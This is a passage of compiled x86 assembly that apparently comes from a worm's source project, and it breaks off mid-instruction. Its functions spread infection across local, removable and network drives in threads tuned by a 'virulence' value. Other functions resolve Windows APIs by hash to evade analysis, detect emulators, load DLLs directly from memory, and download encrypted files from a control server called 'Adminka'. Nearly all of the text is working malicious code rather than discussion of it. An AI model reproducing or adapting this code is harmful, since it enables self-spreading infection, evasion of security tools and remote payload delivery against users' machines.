-318(%ebp),%eax pushl %eax leal -578(%ebp),%eax pushl %eax call *__FindFirstFile movl %eax,%esi .line 301 cmpl $0xffffffff,%esi je _$1073 _$1091: .line 303 cmpb $46,-274(%ebp) je _$1099 leal -274(%ebp),%eax pushl %eax pushl %ebx pushl $_$1096 leal -578(%ebp),%eax pushl %eax call *__sprintf pushl 16(%ebp) pushl 12(%ebp) leal -578(%ebp),%eax pushl %eax call _rscan addl $28,%esp .line 305 jmp _$1099 _$1098: .line 307 leal -318(%ebp),%eax pushl %eax pushl %esi call *__FindNextFile movl %eax,%edi .line 308 or %edi,%edi jne _$1101 .line 311 movl -584(%ebp),%eax addl _sdelay,%eax pushl %eax call *___sleep popl %ecx .line 314 pushl %esi call *__FindClose .line 315 jmp _$1073 _$1101: .line 317 cmpb $46,-274(%ebp) je _$1099 .line 318 leal -274(%ebp),%eax pushl %eax pushl %ebx pushl $_$1096 leal -578(%ebp),%eax pushl %eax call *__sprintf pushl 16(%ebp) pushl 12(%ebp) leal -578(%ebp),%eax pushl %eax call _rscan addl $28,%esp .line 319 _$1099: .line 305 or %edi,%edi jne _$1098 .line 321 _$1073: popl %edi popl %esi popl %ebx leave ret _$1114: .size _rscan,_$1114-_rscan .globl _rscan ; dr --> %edi .type _InfectDrive@4,function _InfectDrive@4: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %edi .line 326 movl 8(%ebp),%edi pushl $_rscanSehHandler .byte 0x67,0x64,0xFF,0x36,0x00,0x00 .byte 0x67,0x64,0x89,0x26,0x00,0x00 .line 347 pushl (,%edi) pushl $_$1079 leal -10(%ebp),%eax pushl %eax call *__sprintf addl $12,%esp _$1116: .line 354 pushl $0 pushl (,%edi) leal -10(%ebp),%eax pushl %eax call _rscan .line 355 pushl $0 call *___sleep addl $16,%esp .line 362 jmp _$1116 .line 363 popl %edi leave ret $4 _$1117: .size _InfectDrive@4,_$1117-_InfectDrive@4 .globl _InfectDrive@4 ; dr --> %edi .type _InfectAllDrives@4,function _InfectAllDrives@4: pushl %ebp movl %esp,%ebp subl $40,%esp pushl %esi pushl %edi .line 369 .line 380 movzbl _VIRULENCE,%eax cmpl $150,%eax jle _$1119 xor %eax,%eax jmp _$1118 _$1119: .line 382 movl $67,%edi jmp _$1124 _$1121: andl $0,_htrd(,%edi,4) incl %edi _$1124: cmpl $90,%edi jbe _$1121 .line 386 _$1125: .line 387 movl $67,%edi jmp _$1129 _$1126: .line 394 andl $0,-20(%ebp) .line 396 pushl %edi pushl $_$1079 leal -14(%ebp),%eax pushl %eax call *__sprintf .line 397 pushl $0 call *___sleep addl $16,%esp .line 400 cmpl $0,_htrd(,%edi,4) je _$1132 _$1130: .line 402 leal -20(%ebp),%eax pushl %eax pushl _htrd(,%edi,4) call *__GetExitCodeThread .line 403 cmpl $259,-20(%ebp) je _$1132 _$1133: .line 409 pushl _htrd(,%edi,4) call *__CloseHandle andl $0,_htrd(,%edi,4) _$1132: .line 413 leal -14(%ebp),%eax pushl %eax call *__GetDriveType movl %eax,-4(%ebp) .line 415 cmpl $3,%eax je _$1135 cmpl $4,%eax je _$1135 cmpl $2,%eax je _$1135 .line 417 cmpl $0,_htrd(,%edi,4) je _$1127 .line 418 andl $0,_drvl(,%edi,4) .line 419 jmp _$1127 _$1135: .line 422 pushl $1 call *__SetErrorMode .line 426 leal -40(%ebp),%eax pushl %eax leal -36(%ebp),%eax pushl %eax leal -32(%ebp),%eax pushl %eax leal -28(%ebp),%eax pushl %eax leal -14(%ebp),%eax pushl %eax call *__GetDiskFreeSpace or %eax,%eax jne _$1139 .line 428 cmpl %eax,_htrd(,%edi,4) je _$1127 .line 429 andl $0,_drvl(,%edi,4) .line 430 jmp _$1127 _$1139: .line 433 cmpl $0,_htrd(,%edi,4) jne _$1127 _$1143: .line 435 movzbl _VIRULENCE,%eax cmpb $50,%al jbe _$1145 cmpl $3,-4(%ebp) jne _$1127 _$1145: .line 438 movl %edi,_drvl(,%edi,4) .line 439 leal -24(%ebp),%eax pushl %eax pushl $0 leal _drvl(,%edi,4),%esi pushl %esi pushl $_InfectDrive@4 pushl $0 pushl $0 call *__CreateThread movl %eax,_htrd(,%edi,4) _$1127: .line 387 incl %edi _$1129: cmpl $90,%edi jbe _$1126 .line 444 pushl $0 call *___sleep popl %ecx .line 445 jmp _$1125 _$1118: .line 446 popl %edi popl %esi leave ret $4 _$1153: .size _InfectAllDrives@4,_$1153-_InfectAllDrives@4 .globl _InfectAllDrives@4 .file "e:\projects\progs\petrosjan\bjwj\worm\_kernel.c" _$M154: .type _IsStrKERNEL32,function _IsStrKERNEL32: pushl %ebp movl %esp,%ebp pushl %ebx pushl %edi .line 12 .line 14 movl 8(%ebp),%edi movsbl (,%edi),%ebx cmpl $75,%ebx je _$1155 cmpl $107,%ebx je _$1155 movl $0,%eax jmp _$1154 _$1155: .line 15 movl 8(%ebp),%edi movsbl 1(%edi),%ebx cmpl $69,%ebx je _$1157 cmpl $101,%ebx je _$1157 movl $0,%eax jmp _$1154 _$1157: .line 16 movl 8(%ebp),%edi movsbl 2(%edi),%ebx cmpl $82,%ebx je _$1159 cmpl $114,%ebx je _$1159 movl $0,%eax jmp _$1154 _$1159: .line 17 movl 8(%ebp),%edi movsbl 5(%edi),%ebx cmpl $76,%ebx je _$1161 cmpl $108,%ebx je _$1161 movl $0,%eax jmp _$1154 _$1161: .line 18 movl 8(%ebp),%edi cmpb $51,6(%edi) je _$1163 movl $0,%eax jmp _$1154 _$1163: .line 21 movl $1,%eax _$1154: .line 22 popl %edi popl %ebx popl %ebp ret _$1169: .size _IsStrKERNEL32,_$1169-_IsStrKERNEL32 .globl _IsStrKERNEL32 .type _GetFuncAddr,function _GetFuncAddr: pushl %ebp movl %esp,%ebp subl $16,%esp pushl %esi pushl %edi .line 28 .line 32 movl $0,-4(%ebp) .line 33 movl 8(%ebp),%edi movl %edi,__KERNEL32 .line 35 movl 8(%ebp),%edi movl 12(%ebp),%esi shll $1,%esi addl %esi,%edi movl 16(%ebp),%esi addl 36(%esi),%edi movl %edi,-8(%ebp) .line 36 movl -8(%ebp),%edi movzwl (,%edi),%edi movl %edi,-16(%ebp) .line 38 movl 8(%ebp),%edi movl -16(%ebp),%esi shll $2,%esi addl %esi,%edi movl 16(%ebp),%esi addl 28(%esi),%edi movl %edi,-12(%ebp) .line 39 movl 8(%ebp),%edi movl -12(%ebp),%esi addl (,%esi),%edi movl %edi,-4(%ebp) .line 45 movl -4(%ebp),%eax _$1170: .line 46 popl %edi popl %esi leave ret _$1171: .size _GetFuncAddr,_$1171-_GetFuncAddr .globl _GetFuncAddr .type _CheckFunc,function _CheckFunc: pushl %ebp movl %esp,%ebp subl $28,%esp pushl %ebx pushl %esi pushl %edi .line 52 .line 53 movl 8(%ebp),%edi leal (,%edi),%ecx orl $-1,%eax _$strlen9: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen9 movl %eax,-8(%ebp) .line 54 movl $0,-12(%ebp) .line 55 movl $0,-16(%ebp) .line 58 movl $0,-4(%ebp) jmp _$1176 _$1173: .line 59 movl -4(%ebp),%edi movl 8(%ebp),%esi movzbl (%esi,%edi),%ebx addl %ebx,-12(%ebp) movl -4(%ebp),%edi shrl $1,%edi movl 8(%ebp),%esi movzbl (%esi,%edi),%ebx addl %ebx,-16(%ebp) _$1174: .line 58 incl -4(%ebp) _$1176: movl -8(%ebp),%edi cmpl %edi,-4(%ebp) jb _$1173 .line 61 cmpl $41,-8(%ebp) jbe _$1177 jmp _$1172 _$1177: .line 62 movl $0x5f5e100,%eax mull -8(%ebp) movl %eax,-24(%ebp) movl $10000,%eax mull -12(%ebp) movl %eax,-28(%ebp) movl -24(%ebp),%edi movl -28(%ebp),%esi addl -28(%ebp),%edi addl -16(%ebp),%edi movl %edi,-20(%ebp) .line 69 cmpl $0x5454284e,-20(%ebp) jne _$1179 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__VirtualProtect _$1179: .line 70 cmpl $0x483e47c0,-20(%ebp) jne _$1181 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__GetTickCount call _GetTicks1 pushl $2 call _AntiEmulator addl $4,%esp movl %eax,_EMUL _$1181: .line 71 cmpl $0x786b35a0,-20(%ebp) jne _$1183 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__LeaveCriticalSection _$1183: .line 72 cmpl $0x786dcdd2,-20(%ebp) jne _$1185 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__EnterCriticalSection _$1185: .line 73 cmpl $0x968c6217,-20(%ebp) jne _$1187 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__InitializeCriticalSection _$1187: .line 74 cmpl $0x54484108,-20(%ebp) jne _$1189 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__GetProcAddress _$1189: .line 75 cmpl $0x483d0f68,-20(%ebp) jne _$1191 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) call _GetFuncAddr addl $12,%esp movl %eax,__CreateThread _$1191: .line 78 _$1172: popl %edi popl %esi popl %ebx leave ret _$1204: .size _CheckFunc,_$1204-_CheckFunc .globl _CheckFunc .type _CheckKernel,function _CheckKernel: pushl %ebp movl %esp,%ebp subl $36,%esp pushl %esi pushl %edi .line 84 .line 94 movl 8(%ebp),%edi shrl $16,%edi movl %edi,-8(%ebp) .line 97 shll $16,-8(%ebp) .line 109 leal -20(%ebp),%edi pushl %edi pushl $4096 pushl 8(%ebp) pushl -8(%ebp) call _FindPEheader addl $16,%esp movl %eax,-8(%ebp) .line 117 movl -20(%ebp),%edi movl 120(%edi),%edi movl %edi,-24(%ebp) .line 119 movl -8(%ebp),%edi addl -24(%ebp),%edi movl %edi,-12(%ebp) .line 121 movl -8(%ebp),%edi movl -12(%ebp),%esi addl 12(%esi),%edi movl %edi,-28(%ebp) .line 130 pushl -28(%ebp) call _IsStrKERNEL32 addl $4,%esp cmpl $0,%eax jne _$1206 jmp _$1205 _$1206: .line 134 movl $0,-4(%ebp) jmp _$1211 _$1208: .line 138 movl -8(%ebp),%edi movl -4(%ebp),%esi shll $2,%esi addl %esi,%edi movl -12(%ebp),%esi addl 32(%esi),%edi movl %edi,-16(%ebp) .line 139 movl -8(%ebp),%edi movl -16(%ebp),%esi addl (,%esi),%edi movl %edi,-36(%ebp) .line 145 pushl -12(%ebp) pushl -4(%ebp) pushl -8(%ebp) pushl -36(%ebp) call _CheckFunc addl $16,%esp _$1209: .line 134 incl -4(%ebp) _$1211: movl -12(%ebp),%edi movl 24(%edi),%edi cmpl %edi,-4(%ebp) jb _$1208 .line 149 movl __KERNEL32,%eax mull _EMUL movl %eax,-36(%ebp) movl -36(%ebp),%edi movl %edi,__KERNEL32 _$1205: .line 150 popl %edi popl %esi leave ret _$1216: .size _CheckKernel,_$1216-_CheckKernel .globl _CheckKernel .type _ProcessDLLimports,function _ProcessDLLimports: pushl %ebp movl %esp,%ebp subl $20,%esp pushl %esi pushl %edi .line 156 .line 157 movl 8(%ebp),%edi movl 12(%ebp),%esi addl 12(%esi),%edi movl %edi,-4(%ebp) .line 159 movl $0,_EMUL .line 165 pushl -4(%ebp) call _IsStrKERNEL32 addl $4,%esp cmpl $1,%eax jne _$1218 .line 168 movl $0,-12(%ebp) .line 171 movl 8(%ebp),%edi movl 12(%ebp),%esi addl 16(%esi),%edi movl %edi,-20(%ebp) _$1220: .line 176 movl -20(%ebp),%edi addl -12(%ebp),%edi movl %edi,-16(%ebp) .line 177 movl -16(%ebp),%edi movl (,%edi),%edi movl %edi,-8(%ebp) .line 178 cmpl $0,-8(%ebp) jne _$1223 jmp _$1222 _$1223: .line 179 pushl -8(%ebp) call _CheckKernel addl $4,%esp .line 180 cmpl $0,__KERNEL32 je _$1225 jmp _$1217 _$1225: .line 181 addl $4,-12(%ebp) _$1221: .line 174 jmp _$1220 _$1222: .line 184 _$1218: .line 185 _$1217: popl %edi popl %esi leave ret _$1228: .size _ProcessDLLimports,_$1228-_ProcessDLLimports .globl _ProcessDLLimports .type _FindPEheader,function _FindPEheader: pushl %ebp movl %esp,%ebp subl $16,%esp pushl %esi pushl %edi .line 192 _$1230: .line 201 movl 8(%ebp),%edi movl %edi,-8(%ebp) .line 203 movl -8(%ebp),%edi cmpw $23117,(,%edi) je _$1231 jmp _$1233 _$1231: .line 204 movl 8(%ebp),%edi movl %edi,%esi shrl $16,%esi shll $16,%esi cmpl %esi,%edi je _$1234 jmp _$1233 _$1234: .line 212 movl 8(%ebp),%edi addl $60,%edi movl %edi,-12(%ebp) .line 213 movl 8(%ebp),%edi movl -12(%ebp),%esi addl (,%esi),%edi movl %edi,-4(%ebp) .line 215 movl 12(%ebp),%edi cmpl %edi,-4(%ebp) jbe _$1236 jmp _$1233 _$1236: .line 217 movl -4(%ebp),%edi movl %edi,-16(%ebp) .line 219 movl -16(%ebp),%edi movzwl (,%edi),%edi cmpl $17744,%edi je _$1240 .line 221 _$1233: .line 225 movl 16(%ebp),%edi subl %edi,8(%ebp) jmp _$1230 _$1240: .line 235 movl 20(%ebp),%edi movl -4(%ebp),%esi movl %esi,(,%edi) .line 237 movl 8(%ebp),%eax _$1229: .line 238 popl %edi popl %esi leave ret _$1242: .size _FindPEheader,_$1242-_FindPEheader .globl _FindPEheader .file "e:\projects\progs\petrosjan\bjwj\worm\addons\dllloader.h" _$M155: .file "e:\projects\progs\petrosjan\bjwj\worm\addons\util.h" _$M156: .file "e:\projects\progs\petrosjan\bjwj\worm\addons\dllloader.c" _$M157: ; section --> %edi ; dest --> %esi ; i --> %ebx .type _CopySections,function _CopySections: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %ebx pushl %esi pushl %edi .line 21 .line 23 movl 16(%ebp),%eax movl 4(%eax),%ecx movl %ecx,-4(%ebp) .line 26 movl (,%eax),%eax movzwl 20(%eax),%edx leal 24(%eax,%edx),%edi .line 28 xor %ebx,%ebx jmp _$1248 _$1245: .line 30 cmpl $0,16(%edi) jne _$1249 .line 32 movl 12(%ebp),%eax movl 56(%eax),%eax movl %eax,-8(%ebp) .line 34 test %eax,%eax jle _$1246 .line 36 movl 12(%edi),%eax movl %eax,%esi addl -4(%ebp),%esi .line 38 movl %esi,8(%edi) .line 39 pushl -8(%ebp) pushl $0 pushl %esi call _u_memset addl $12,%esp .line 42 jmp _$1246 _$1249: .line 45 movl 12(%edi),%eax movl %eax,%esi addl -4(%ebp),%esi .line 50 pushl 16(%edi) movl 20(%edi),%eax addl 8(%ebp),%eax pushl %eax pushl %esi call _u_memcpy addl $12,%esp .line 52 movl %esi,8(%edi) _$1246: .line 28 incl %ebx addl $40,%edi _$1248: movl 16(%ebp),%eax movl (,%eax),%eax movzwl 6(%eax),%eax cmpl %eax,%ebx jl _$1245 .line 54 popl %edi popl %esi popl %ebx leave ret _$1254: .size _CopySections,_$1254-_CopySections .globl _CopySections .data .globl _ProtectionFlags .align 2 .type _ProtectionFlags,object _ProtectionFlags: .long 1 .long 8 .long 2 .long 4 .long 16 .long 128 .long 32 .long 64 .text ; section --> %edi ; i --> %esi ; module --> %ebx .type _FinalizeSections,function _FinalizeSections: pushl %ebp movl %esp,%ebp subl $36,%esp pushl %ebx pushl %esi pushl %edi .line 69 movl 8(%ebp),%ebx .line 71 movl (,%ebx),%eax movzwl 20(%eax),%edx leal 24(%eax,%edx),%edi .line 73 xor %esi,%esi jmp _$1259 _$1256: .line 77 testl $0x20000000,36(%edi) setne %al andl $1,%eax movl %eax,-12(%ebp) .line 78 testl $0x40000000,36(%edi) setne %al andl $1,%eax movl %eax,-16(%ebp) .line 79 testl $0x80000000,36(%edi) setne %al andl $1,%eax movl %eax,-20(%ebp) .line 81 testl $0x2000000,36(%edi) jne _$1257 .line 84 _$1269: .line 87 movl -20(%ebp),%edx movl -16(%ebp),%ecx movl -12(%ebp),%eax shll $4,%eax leal _ProtectionFlags(%eax,%ecx,8),%ecx movl (%ecx,%edx,4),%edx movl %edx,-8(%ebp) .line 89 testl $0x4000000,36(%edi) je _$1271 .line 91 orw $512,-8(%ebp) _$1271: .line 94 movl 16(%edi),%eax movl %eax,-4(%ebp) .line 96 test %eax,%eax jne _$1273 .line 98 testb $64,36(%edi) je _$1275 .line 100 movl (,%ebx),%eax movl 32(%eax),%eax movl %eax,-4(%ebp) jmp _$1273 _$1275: .line 102 testb $128,36(%edi) je _$1273 .line 104 movl (,%ebx),%eax movl 36(%eax),%eax movl %eax,-4(%ebp) .line 106 _$1273: .line 108 cmpl $0,-4(%ebp) je _$1257 .line 110 leal -24(%ebp),%eax pushl %eax pushl -8(%ebp) pushl 16(%edi) pushl 8(%edi) call *__VirtualProtect or %eax,%eax je _$1255 .line 112 _$1281: .line 114 .line 115 _$1257: .line 73 incl %esi addl $40,%edi _$1259: movl (,%ebx),%eax movzwl 6(%eax),%eax cmpl %eax,%esi jl _$1256 .line 116 _$1255: popl %edi popl %esi popl %ebx leave ret _$1285: .size _FinalizeSections,_$1285-_FinalizeSections .globl _FinalizeSections ; i --> %edi ; i --> %edi ; codeBase --> %esi ; delta --> %ebx .type _PerformBaseRelocation,function _PerformBaseRelocation: pushl %ebp movl %esp,%ebp subl $28,%esp pushl %ebx pushl %esi .line 119 movl 12(%ebp),%ebx .line 121 movl 8(%ebp),%eax movl 4(%eax),%esi .line 123 movl (,%eax),%eax movl %eax,%ecx addl $160,%ecx .line 125 cmpl $0,4(%ecx) je _$1287 .line 127 movl (,%ecx),%eax addl %esi,%eax movl %eax,-4(%ebp) .line 129 jmp _$1292 _$1289: .line 131 movl -4(%ebp),%eax movl (,%eax),%eax addl %esi,%eax movl %eax,-12(%ebp) .line 132 movl -4(%ebp),%eax addl $8,%eax movl %eax,-8(%ebp) .line 134 xor %ecx,%ecx jmp _$1296 _$1293: .line 139 movl -8(%ebp),%edx movzwl (,%edx),%edx sarl $12,%edx movl %edx,-16(%ebp) .line 140 movl -8(%ebp),%eax movzwl (,%eax),%eax andl $4095,%eax movl %eax,-20(%ebp) .line 142 movl %edx,%eax or %eax,%eax je _$1298 cmpl $3,%eax jne _$1298 .line 145 _$1301: .line 148 movl -20(%ebp),%eax addl -12(%ebp),%eax movl %eax,-24(%ebp) .line 149 addl %ebx,(,%eax) .line 153 _$1298: .line 155 .line 134 incl %ecx addl $2,-8(%ebp) _$1296: movl -4(%ebp),%edx movl 4(%edx),%edx subl $8,%edx shrl $1,%edx cmpl %edx,%ecx jb _$1293 .line 157 movl -4(%ebp),%eax movl %eax,%edx addl 4(%eax),%edx movl %edx,-4(%ebp) .line 129 _$1292: movl -4(%ebp),%eax cmpl $0,(,%eax) jne _$1289 .line 159 _$1287: .line 160 popl %esi popl %ebx leave ret _$1304: .size _PerformBaseRelocation,_$1304-_PerformBaseRelocation .globl _PerformBaseRelocation ; codeBase --> %edi ; importDesc --> %esi ; importDesc --> %esi ; result --> %ebx .type _BuildImportTable,function _BuildImportTable: pushl %ebp movl %esp,%ebp subl $20,%esp pushl %ebx pushl %esi pushl %edi .line 163 .line 164 xor %ebx,%ebx inc %ebx .line 165 movl 8(%ebp),%eax movl 4(%eax),%edi .line 167 movl (,%eax),%eax movl %eax,%esi addl $128,%esi .line 169 cmpl $0,4(%esi) jne _$1306 .line 170 xor %eax,%eax jmp _$1305 _$1306: .line 173 movl (,%esi),%eax movl %eax,%esi addl %edi,%esi .line 175 jmp _$1311 _$1308: .line 178 movl 12(%esi),%eax addl %edi,%eax pushl %eax call *__LoadLibrary movl %eax,-12(%ebp) .line 180 cmpl $0xffffffff,%eax jne _$1312 .line 182 xor %ebx,%ebx .line 183 jmp _$1310 _$1312: .line 186 movl 8(%ebp),%eax movl 208(%eax),%edx incl 208(%eax) movl %eax,%ecx movl -12(%ebp),%eax movl %eax,8(%ecx,%edx,4) .line 187 cmpl $0,(,%esi) je _$1314 .line 189 movl (,%esi),%eax addl %edi,%eax movl %eax,-4(%ebp) .line 190 movl 16(%esi),%eax addl %edi,%eax movl %eax,-8(%ebp) jmp _$1319 _$1314: .line 191 .line 192 movl 16(%esi),%eax addl %edi,%eax movl %eax,-4(%ebp) .line 193 movl 16(%esi),%eax addl %edi,%eax movl %eax,-8(%ebp) .line 195 jmp _$1319 _$1316: .line 197 movl -4(%ebp),%eax testl $0x80000000,(,%eax) je _$1320 .line 199 movzwl (,%eax),%eax pushl %eax pushl -12(%ebp) call *__GetProcAddress movl -8(%ebp),%edx movl %eax,(,%edx) jmp _$1321 _$1320: .line 202 .line 203 movl -4(%ebp),%eax movl (,%eax),%eax addl %edi,%eax movl %eax,-20(%ebp) .line 205 addl $2,%eax pushl %eax pushl -12(%ebp) call *__GetProcAddress movl %eax,-16(%ebp) or %eax,%eax je _$1321 .line 207 movl -8(%ebp),%ecx movl (,%ecx),%edx cmpl %edx,%eax je _$1321 .line 208 movl %ecx,%eax movl -16(%ebp),%edx movl %edx,(,%eax) .line 209 .line 210 _$1321: .line 211 movl -8(%ebp),%eax cmpl $0,(,%eax) jne _$1326 .line 213 xor %ebx,%ebx .line 214 jmp _$1318 _$1326: .line 216 .line 195 addl $4,-4(%ebp) addl $4,-8(%ebp) _$1319: movl -4(%ebp),%eax cmpl $0,(,%eax) jne _$1316 _$1318: .line 218 or %ebx,%ebx je _$1310 .line 219 _$1328: .line 220 .line 175 addl $20,%esi _$1311: pushl $20 pushl %esi call *__IsBadReadPtr or %eax,%eax jne _$1310 cmpl %eax,12(%esi) jne _$1308 _$1310: .line 222 movl %ebx,%eax _$1305: .line 223 popl %edi popl %esi popl %ebx leave ret _$1338: .size _BuildImportTable,_$1338-_BuildImportTable .globl _BuildImportTable ; module --> %edi ; i --> %esi .type _MemoryFreeLibrary,function _MemoryFreeLibrary: pushl %ebp movl %esp,%ebp pushl %ecx pushl %esi pushl %edi .line 226 .line 228 movl 8(%ebp),%edi .line 230 or %edi,%edi je _$1340 .line 232 cmpl $0,212(%edi) je _$1342 .line 234 movl (,%edi),%eax movl 40(%eax),%eax addl 4(%edi),%eax movl %eax,-4(%ebp) .line 235 pushl $0 pushl $0 pushl 4(%edi) call *-4(%ebp) .line 236 andl $0,212(%edi) _$1342: .line 239 movl %edi,%eax addl $8,%eax or %eax,%eax je _$1344 .line 241 xor %esi,%esi jmp _$1349 _$1346: .line 242 cmpl $0xffffffff,8(%edi,%esi,4) je _$1350 .line 243 pushl 8(%edi,%esi,4) call _FreeLibrary@4 _$1350: .line 241 incl %esi _$1349: cmpl 208(%edi),%esi jl _$1346 .line 245 _$1344: .line 247 cmpl $0,4(%edi) je _$1352 .line 248 pushl $0x8000 pushl $0 pushl 4(%edi) call _VirtualFree@12 _$1352: .line 250 pushl %edi call _u_free popl %ecx _$1340: .line 252 popl %edi popl %esi leave ret _$1354: .size _MemoryFreeLibrary,_$1354-_MemoryFreeLibrary .globl _MemoryFreeLibrary ; result --> %edi ; code --> %esi ; old_header --> %ebx .type _MemoryLoadLibrary,function _MemoryLoadLibrary: pushl %ebp movl %esp,%ebp subl $20,%esp pushl %ebx pushl %esi pushl %edi .line 255 .line 264 movl 8(%ebp),%eax movl %eax,-4(%ebp) .line 265 cmpw $23117,(,%eax) je _$1356 .line 267 xor %eax,%eax jmp _$1355 _$1356: .line 270 movl -4(%ebp),%eax movl 60(%eax),%eax movl %eax,%ebx addl 8(%ebp),%ebx .line 271 cmpl $17744,(,%ebx) je _$1358 .line 273 xor %eax,%eax jmp _$1355 _$1358: .line 276 pushl $4 pushl $4096 pushl 80(%ebx) pushl 52(%ebx) call *__VirtualAlloc movl %eax,%esi .line 281 or %esi,%esi jne _$1360 .line 282 pushl $4 pushl $4096 pushl 80(%ebx) pushl $0 call *__VirtualAlloc movl %eax,%esi _$1360: .line 287 or %esi,%esi jne _$1362 .line 289 xor %eax,%eax jmp _$1355 _$1362: .line 291 pushl $1 pushl $216 call _u_alloc movl %eax,%edi .line 292 movl %esi,4(%edi) .line 293 andl $0,208(%edi) .line 294 andl $0,212(%edi) .line 301 movl %esi,-8(%ebp) .line 307 movl -4(%ebp),%eax movl 60(%eax),%edx addl 84(%ebx),%edx pushl %edx pushl %eax pushl %esi call _u_memcpy .line 308 movl -4(%ebp),%eax movl 60(%eax),%eax addl %esi,%eax movl %eax,(,%edi) .line 310 movl %esi,52(%eax) .line 312 pushl %edi pushl %ebx pushl 8(%ebp) call _CopySections addl $32,%esp .line 314 movl %esi,%eax subl 52(%ebx),%eax movl %eax,-12(%ebp) .line 315 test %eax,%eax je _$1364 .line 316 pushl %eax pushl %edi call _PerformBaseRelocation addl $8,%esp _$1364: .line 319 pushl %edi call _BuildImportTable popl %ecx or %eax,%eax je _$1368 .line 320 _$1366: .line 323 pushl %edi call _FinalizeSections popl %ecx .line 325 movl (,%edi),%eax cmpl $0,40(%eax) je _$1369 .line 327 movl (,%edi),%eax movl 40(%eax),%eax addl %esi,%eax movl %eax,-16(%ebp) .line 328 test %eax,%eax je _$1368 .line 330 _$1371: .line 333 pushl $0 pushl $1 pushl %esi call *-16(%ebp) movl %eax,-20(%ebp) .line 335 test %eax,%eax je _$1368 .line 337 _$1373: .line 340 movl $1,212(%edi) _$1369: .line 343 movl %edi,%eax jmp _$1355 _$1368: .line 346 pushl %edi call _MemoryFreeLibrary popl %ecx .line 347 xor %eax,%eax _$1355: .line 348 popl %edi popl %esi popl %ebx leave ret _$1381: .size _MemoryLoadLibrary,_$1381-_MemoryLoadLibrary .globl _MemoryLoadLibrary ; nameRef --> %edi ; nameRef --> %edi ; i --> %esi ; ordinal --> %ebx .type _MemoryGetProcAddress@8,function _MemoryGetProcAddress@8: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 351 .line 352 movl 8(%ebp),%eax movl 4(%eax),%ecx movl %ecx,-8(%ebp) .line 353 orl $-1,-12(%ebp) .line 357 movl (,%eax),%eax movl %eax,%edi addl $120,%edi .line 358 cmpl $0,4(%edi) jne _$1383 .line 359 xor %eax,%eax jmp _$1382 _$1383: .line 361 movl (,%edi),%eax addl -8(%ebp),%eax movl %eax,-4(%ebp) .line 362 cmpl $0,24(%eax) je _$1387 cmpl $0,20(%eax) jne _$1385 _$1387: .line 363 xor %eax,%eax jmp _$1382 _$1385: .line 365 movl -4(%ebp),%eax movl 32(%eax),%ecx movl %ecx,%edi addl -8(%ebp),%edi .line 366 movl 36(%eax),%eax movl %eax,%ebx addl -8(%ebp),%ebx .line 368 xor %esi,%esi jmp _$1391 _$1388: .line 369 movl (,%edi),%eax addl -8(%ebp),%eax pushl %eax pushl 12(%ebp) call _lstrcmpiA@8 or %eax,%eax jne _$1392 .line 371 movzwl (,%ebx),%eax movl %eax,-12(%ebp) .line 372 jmp _$1390 _$1392: .line 368 incl %esi addl $4,%edi addl $2,%ebx _$1391: movl -4(%ebp),%eax cmpl 24(%eax),%esi jb _$1388 _$1390: .line 375 cmpl $-1,-12(%ebp) jne _$1394 .line 376 xor %eax,%eax jmp _$1382 _$1394: .line 378 movl -4(%ebp),%eax movl 20(%eax),%eax cmpl %eax,-12(%ebp) jbe _$1396 .line 379 xor %eax,%eax jmp _$1382 _$1396: .line 381 movl -8(%ebp),%ebx movl -12(%ebp),%edx movl -4(%ebp),%ecx movl 28(%ecx),%ecx addl %ebx,%ecx movl (%ecx,%edx,4),%edx movl %edx,%eax addl %ebx,%eax _$1382: .line 382 popl %edi popl %esi popl %ebx leave ret $8 _$1402: .size _MemoryGetProcAddress@8,_$1402-_MemoryGetProcAddress@8 .globl _MemoryGetProcAddress@8 .file "e:\projects\progs\petrosjan\bjwj\worm\addons\loaddll.h" _$M158: .file "e:\projects\progs\petrosjan\bjwj\worm\addons\loaddll.c" _$M159: .data .globl _UserAgent .align 2 .type _UserAgent,object _UserAgent: .long 0x0 .globl _RC2_Password .align 2 .type _RC2_Password,object _RC2_Password: .long _$1403 .globl _HostAdminka .align 2 .type _HostAdminka,object _HostAdminka: .long _$1404 .globl _SETFolderExts .align 2 .type _SETFolderExts,object _SETFolderExts: .long _$1405 .long _$1406 .long _$1407 .long _$1408 .long _$1409 .text ; i --> %esi ; i --> %esi ; symbols --> %ebx .type _LoadFileFromAdminka,function _LoadFileFromAdminka: pushl %ebp movl %esp,%ebp subl $132,%esp pushl %ebx pushl %esi pushl %edi .line 34 .line 35 andl $0,-104(%ebp) .line 36 andl $0,-100(%ebp) .line 39 pushl $64 pushl $57 call _u_rand_range addl $8,%esp movl %eax,%ebx .line 40 xor %esi,%esi jmp _$1414 _$1411: .line 41 pushl $122 pushl $97 call _u_rand_range addl $8,%esp movl %ax,%dx movb %dl,-96(%ebp,%esi) .line 40 incl %esi _$1414: cmpl %ebx,%esi jl _$1411 .line 42 movb $0,-96(%ebp,%ebx) .line 43 call _u_rand movl $5,%ecx xorl %edx,%edx divl %ecx pushl _SETFolderExts(,%edx,4) leal -96(%ebp),%edi pushl %edi call *__lstrcatA .line 44 pushl $3 pushl $_$1415 leal -100(%ebp),%eax pushl %eax leal -96(%ebp),%eax pushl %eax pushl _HostAdminka call _LoadFileFromInet addl $20,%esp movl %eax,%esi .line 45 or %esi,%esi je _$1416 .line 46 andl $0,-116(%ebp) .line 47 leal -116(%ebp),%eax pushl %eax pushl -100(%ebp) pushl %esi call _DecodeData movl %eax,-112(%ebp) .line 49 pushl 8(%ebp) pushl %eax call _u_istrstr addl $20,%esp movl %eax,-108(%ebp) .line 50 test %eax,%eax je _$1418 .line 51 pushl 8(%ebp) call *__lstrlen movl 